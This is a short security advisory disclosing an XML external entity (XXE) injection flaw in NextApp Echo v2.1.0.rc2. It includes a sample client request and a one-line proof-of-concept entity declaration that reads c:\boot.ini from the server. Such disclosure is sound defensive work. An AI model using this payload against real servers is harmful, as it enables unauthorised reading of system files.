Vendor description:
-------------------

Echo is a platform for building web-based applications that approach the capabilities of rich clients. The applications 
are developed using a component-oriented and event-driven API, eliminating the need to deal with the "page-based" 
nature of browsers. To the developer, Echo works just like a user interface toolkit.

Vulnerability overview:
-----------------------

Unverified XML Data is passed from the client (Webbrowser) to the NextApp Echo Engine  and consequently 
to an underlying XML Parser. This leading to a typical XML Injection scenario.

Vulnerability description:
--------------------------

All XML requests for the framework are created by javascript and than sent to the Server via POST HTTP requests. 

A typical requests would look like the following:
---cut here---
&lt;client-message xmlns="http://www.nextapp.com/products/echo2/climsg" trans-id="3" focus="c_25"&gt;&lt;message-part xmlns="" processor="EchoPropertyUpdate"&gt;&lt;property component-id="c_25" name="text"&gt;aa&lt;/property&gt;&lt;property component-id="c_25" name="horizontalScroll" value="0"/&gt;&lt;property component-id="c_25" name="verticalScroll" value="0"/&gt;&lt;/message-part&gt;&lt;message-part xmlns="" processor="EchoAction"&gt;&lt;action component-id="c_25" name="action"/&gt;&lt;/message-part&gt;&lt;/client-message&gt;
---cut here---

By manipulating the POST content it is possible to inject arbitrary XML declarations- and tags.

Proof of concept:
-----------------

The following entity declaration would create a new XML entity with the content of the boot.ini file which 
can be referenced in the following XML request content:
---cut here---
&lt;?xml version="1.0"?&gt;&lt;!DOCTYPE sec [&lt;!ELEMENT sec ANY&gt;&lt;!ENTITY mytestentity SYSTEM "file:///c:\boot.ini"&gt;]&gt;
---cut here---

Vulnerable versions:
--------------------
NextApp Echo v2.1.0.rc2
